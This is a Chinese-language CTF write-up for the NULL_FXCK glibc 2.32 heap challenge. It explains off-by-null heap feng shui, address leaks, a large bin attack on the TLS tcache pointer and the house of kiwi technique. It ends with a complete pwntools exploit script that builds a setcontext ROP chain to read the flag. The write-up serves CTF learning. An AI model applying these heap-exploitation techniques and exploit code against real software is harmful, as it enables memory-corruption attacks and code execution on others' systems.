從PWN題NULL_FXCK中學到的glibc知識
這題的風水堪稱一絕,然后涉及的利用也非常新穎——house of kiwi在一年前來說可以說非常新鮮了,在今天衍生出的emma也是高版本主流的打法。
版本:

沙箱:

發現禁了execve,那就只能orw了。
保護:

ida
相信都開始研究這道題的各位師傅逆向都沒有問題,就截一截ida里面比較重要的幾個東西:
(1)add的截斷:

雖然從bin中拿出chunk的指針沒有被初始化,但是這個截斷使得我們不能直接泄露libc和堆地址了。
(2)free禁止了UAF(這個就沒必要截了)
(3)edit只能執行一次并且存在off_by_null:

思路
這里的思路其實有點公式化的味道,就和我們做數學題一樣,都是通過題目給的條件來思考利用的手法
給了off_by_null就思考會用到堆塊的合并導致的重疊。重疊帶來的好處:
(1)通過切割堆塊能使我們在合并的堆塊內部任意地址寫main_arena,這個任意地址可能是note數組的一個堆指針的fd,那么我們就可以泄露libc了
(2)合并的時候的unlink能使得我們在已知堆塊的fd和bk上寫一個堆地址,這樣就可以彌補一開始的截斷帶來的不能泄露堆塊,然后成功泄露出堆塊了
堆風水泄露libc和堆地址。
為了達成思路(1)(2)的libc和heap的泄露,需要一個非常細致的堆的布局,首先說說幾個可能遇到的問題:
(1)合并的時候對堆的fd和bk的檢測:
free(P)的時候,如果P不是tcache或者fastbin大小的話,就會檢測P的前一個堆塊(低地址)和后一個堆塊(高地址)的使用情況(即它們的后一個堆塊的PREV_INSURE位),如果也是free,就會考慮合并。合并的時候,會檢測除P外的另一個堆塊的fd和bk指針:
記另一個堆塊為Nfwd=N->fd;bck=N->bk;if(fwd->bk != N || bck->fd !=N) exit(-1);fwd->bk=bck;bck->fd=fwd;
上面的代碼大致表示了unlink的過程。
之前做過的unlink都是已知了堆地址,然后unlink環節將fd和bk全都設置為N自身,達到繞過檢測的目的。
這題比較厲害的地方就是,在不知道堆地址的情況下實現的unlink:
(1)首先通過將堆塊放入unsorted bin(下面簡稱ub)將一個堆塊的fd和bk分別寫上不同的堆地址:
先add(0~6)然后delet(0,3,5),堆的布局如下圖:

發現堆塊3就是一個bk和fd都有堆指針的堆塊了,后續考慮一個堆塊向上與3合并。那么我們就要先修改3的size,如何修改呢?
delet(2)導致2和3在ub里發生合并,重新申請一個大小大于2的堆塊就能修改3的size了。我們直接將3的size設置的很大,使得3的next_chunk指向top_chunk,因為考慮新生成堆塊7并且edit(6)進行off_by_null修改7的pre_size和size的PREV_INSURE,這樣delet堆塊7就能向上和3合并了
但我們發現,合并的時候會報錯,這是因為我們沒有繞過unlink里面的檢查,也就是沒有成功設置好5和0的fd和bk。
我們發現,切割2和3合并的堆塊會有一個剩下的堆塊我們記作L。L的地址和3離得很近,可能就是低兩位不同。如果,3的低兩位是'\x00',我們就通過將L和0放入unsorted bin 設置bk指針。
把L和5放入large bin設置fd指針(放入ub的話取出的時候目標堆塊的fd指針會變),在申請0和5的時候,觸發add中的截斷,就能夠在fd或bk上設置好3的地址,繞過unlink的檢查完成合并。
合并好后,我們就可以通過切割堆塊,在4的fd指針上布局main_arena。不過一開始的main_arena應該是以'\x00'結尾的,還是不能泄露。通過add一個大堆塊放入largebin就好了,這樣show(4)就能夠泄露libc了。
同時unlink也會使得0的bk指針為5,5的fd指針為0,show其中任何一個都能泄露堆塊。
house of kiwi
發現這題中的exit被換成了_exit,而_exit是不會存在house of pig里面的那條鏈子的,它直接就是一個exit的系統調用然后程序就結束了,所以任何打exit的鏈子都不能直接拿來用。遇到這種問題,有的師傅就開辟了一條名為house of kiwi的鏈子。
主要是打__malloc_assert斷言,有一個位于_IO_file_jumps+0x60的穩定的跳轉指針sync和穩定的rdx——_IO_helper_jumps,而且這兩個地方在gdb里都是有符號表的(比banana好找多了2333):

那么我們通過兩次任意地址寫就行了?非也。因為還需要觸發assert
如何觸發assert?看看malloc.c的源碼,ctrl f輸入"assert",發現有80多個
這里介紹其中一種做法:
當top_chunk的大小不夠分配時,則會進入sysmalloc中:
......assert ((old_top == initial_top (av) && old_size == 0) || ((unsigned long) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long) old_end & (pagesize - 1)) == 0));......
發現很多檢測,我們注意到對topchunk的prev_inuse的檢測,只要把topchunk的size位的prev_inuse置為0,申請一個比它大的堆塊就可以觸發了。
我們發現,至少需要改三個地址,也就是執行三次任意地址寫。從這道題的嚴苛條件,不能用tcache poison等簡單手法。
TLS段tcache struct attack
我們都知道,malloc_init會在heapbase段開設一個內存用于管理tcache。而這個管理tcache的地址,是可以從heapbase被我們劫持到另一個地方的,這是因為實際尋找的時候,是找到TLS段的管理tcache的地址,只不過malloc_init函數預設成了heapbase+0x10而已(注意,是heapbase+0x10而不是heapbase),我們可以在gdb中找到這段區域:

通過largebin attack劫持這段為可控堆塊,在上面布置任何我們想寫的東西,malloc對應位置size大小就能夠申請出來并且改寫了(這里的偏移要調一調,不過也可以拿exp的模板直接來用,也就是)
通過改穩定的跳表sync為setcontext+61(因為setcontext會將[rdx+0xa0]設置為rsp,將[rdx+0xa8]設置為rip),將穩定的rdx _IO_helper_jumps設置為_IO_helper_jumps+0xa0為存orw鏈,+0xa8為ret指令,并改top_chunk的size,然后申請一個比它的size大的堆塊觸發assert就可get_shell了
總結
這道題考察了高版本的off_by_null,large bin attack,house of kiwi , TLS attack。雖然很折磨,但是是不可否認的好題,能讓第二次接觸2.31以上版本的我學到不少東西。
exp
from pwn import *from hashlib import sha256import base64context.log_level='debug'#context.arch = 'amd64'context.arch = 'amd64'context.os = 'linux'def proof_of_work(sh): sh.recvuntil(" == ") cipher = sh.recvline().strip().decode("utf8") proof = mbruteforce(lambda x: sha256((x).encode()).hexdigest() == cipher, string.ascii_letters + string.digits, length=4, method='fixed') sh.sendlineafter("input your ????>", proof)##r=remote("123.57.69.203",7010)##r=process('./sp1',env={"LD_PRELODA":"./libc-2.27.so"}) ##mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]; def z(): gdb.attach(r) def cho(num): r.sendafter(">> ",str(num)) def add(size,content='\x00'): cho(1) r.sendlineafter("Size: ",str(size)) r.sendafter("Content: ",content) def edit(idx,con): cho(2) r.sendlineafter("Index: ",str(idx)) r.sendafter("Content: ",con) def show(idx): cho(4) r.sendlineafter("Index: ",str(idx)) def delet(idx): cho(3) r.sendlineafter("Index: ",str(idx)) def exp(): global r global libc libc=ELF('./libc-2.32.so') r=process('./main') ##[+]: fengshui 2 leak add(0x418) #0 add(0x1f8) #1 add(0x428) #2 add(0x438) #3 add(0x208) #4 add(0x428) #5 add(0x208) #6 delet(0) delet(3) delet(5) delet(2) ##z() add(0x440,0x428*'a'+p64(0xc91)) #0 add(0x418) #3 0x2b0 add(0x418) #2 add(0x428) #5 0x370 ##z() delet(3) delet(2) ##z() add(0x418,'a'*9) #2 add(0x418) #3 delet(3) delet(5) add(0x9f8) #3 ##z() add(0x428,'a') #5 edit(6,0x200*'a'+p64(0xc90)+'\x00') add(0x418) #7 ##z() add(0x208) #8 ##z() delet(3) add(0x430,flat(0,0,0,p64(0x421))) #3 add(0x1600) #9 ##z() show(4) libcbase=u64(r.recv(6).ljust(8,'\x00'))-0x1e4230 log.success('libcbase:'+hex(libcbase)) show(5) heap=u64(r.recv(6).ljust(8,'\x00'))-0x2b0 log.success('heap:'+hex(heap)) ##[+]: set libc func IO_file_jumps=0x1e54c0+libcbase IO_helper_jumps=0x1e48c0+libcbase setcontext=libcbase+libc.sym['setcontext'] open_addr=libcbase+libc.sym['open'] read_addr=libcbase+libc.sym['read'] puts_addr=libcbase+libc.sym['puts'] pop_rdi_ret=libcbase+0x2858f pop_rsi_ret=libcbase+0x2ac3f pop_rdx_pop_rbx_ret=libcbase+0x1597d6 ret=libcbase+0x26699 ##[+]: large bin attack to reset TLS ##z() ##edit(4,p64(libcbase+0x1e4230)+) ##[+]: orw target=heap+0x8e0 flag_addr = heap + 0x8e0 + 0x100 chain = flat( pop_rdi_ret , flag_addr , pop_rsi_ret , 0 , open_addr, pop_rdi_ret , 3 , pop_rsi_ret , flag_addr , pop_rdx_pop_rbx_ret , 0x100 , 0 , read_addr, pop_rdi_ret , flag_addr , puts_addr ).ljust(0x100,'\x00') + 'flag\x00' TLS=libcbase-0x2908 add(0x1240,0x208*'a'+p64(0x431)+0x428*'a'+p64(0x211)+0x208*'a'+p64(0xa01)) delet(0) add(0x440,chain) ##z() add(0x418) #11 add(0x208) #12 delet(5) delet(4) add(0x1240,0x208*'a'+p64(0x431)+p64(libcbase+0x1e3ff0)*2+p64(heap+0x1350)+p64(TLS-0x20))#4 delet(11) ##z() add(0x500) ##z() add(0x410) delet(4) add(0x1240,0x208*'a'+p64(0x431)+p64(libcbase+0x1e3ff0)*2+p64(heap+0x1350)*2) pd='\x01'*0x70 pd=pd.ljust(0xe8,'\x00')+p64(IO_file_jumps+0x60) pd=pd.ljust(0x168,'\x00')+p64(IO_helper_jumps+0xa0)+p64(heap+0x46f0) add(0x420,pd) #13 add(0x100,p64(setcontext+61)) add(0x200,p64(target)+p64(ret)) add(0x210,p64(0)+p64(0x910)) z() add(0x1000) ##z() r.recvuntil('flag') string=r.recvuntil('}') flag='flag'+string print(flag) show(5) r.interactive() if __name__ == '__main__': exp() ##setcontext and orw '''' orw=p64(r4)+p64(2)+p64(r1)+p64(free_hook+0x28)+p64(syscall) orw+=p64(r4)+p64(0)+p64(r1)+p64(3)+p64(r2)+p64(mem)+p64(r3)+p64(0x20)+p64(0)+p64(syscall) orw+=p64(r4)+p64(1)+p64(r1)+p64(1)+p64(r2)+p64(mem)+p64(r3)+p64(0x20)+p64(0)+p64(syscall) orw+=p64(0xdeadbeef) pd=p64(gold_key)+p64(free_hook) pd=pd.ljust(0x20,'\x00')+p64(setcontext+61)+'./flag\x00' pd=pd.ljust(0xa0,'\x00')+p64(free_hook+0xb0)+orw r.sendafter(">>",pd) flag=r.recvline() ''